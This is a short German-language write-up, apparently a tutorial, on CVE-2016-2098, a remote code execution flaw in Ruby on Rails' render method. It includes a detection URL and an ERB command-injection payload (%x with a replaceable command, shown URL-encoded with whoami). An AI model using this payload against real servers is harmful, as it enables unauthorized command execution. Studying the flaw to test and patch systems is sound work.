
Schwachstelle für Remote-Codeausführung in Ruby-on-Rails bei Verwendung von render mit benutzergelieferten Daten.
Sicherheitslücke für Remote-Codeausführung in Ruby-on-Rails bei Verwendung von render mit benutzerbereitgestellten Daten.
Dieses Problem entsteht durch die Verwendung der render-Methode mit benutzerbereitgestellten Daten.
Die Methode render wird normalerweise verwendet, um eine Seite aus einer Vorlage zu rendern, aber die render-Methode erlaubt Entwicklern auch, Klartext (plaintext) und sogar Inline-Code (inline) zu rendern.
render-Funktion:
# File actionpack/lib/abstract_controller/rendering.rb, line 23
def render(*args, &block)
options = _normalize_render(*args, &block)
rendered_body = render_to_body(options)
if options[:html]
_set_html_content_type
else
_set_rendered_content_type rendered_format
end
_set_vary_header
self.response_body = rendered_body
end
Ziel-URL:
http://example.com/?view=test
Ausnutzung:
http://example.com/?view[inline]=OK
Wenn im Quellcode 'OK' angezeigt wird, ist die Webanwendung anfällig für CVE-2016-2098.
<%= %x('[CMD]') %>
Wir können CMD durch unseren Befehl ersetzen, der ausgeführt werden soll.
<%= %x('whoami') %>
Nach URL-Kodierung:
%3C%25=%20%25x(whoami)%20%25%3E
Endgültig:
http://example.com/?view[inline]=%3C%25=%20%25x(whoami)%20%25%3E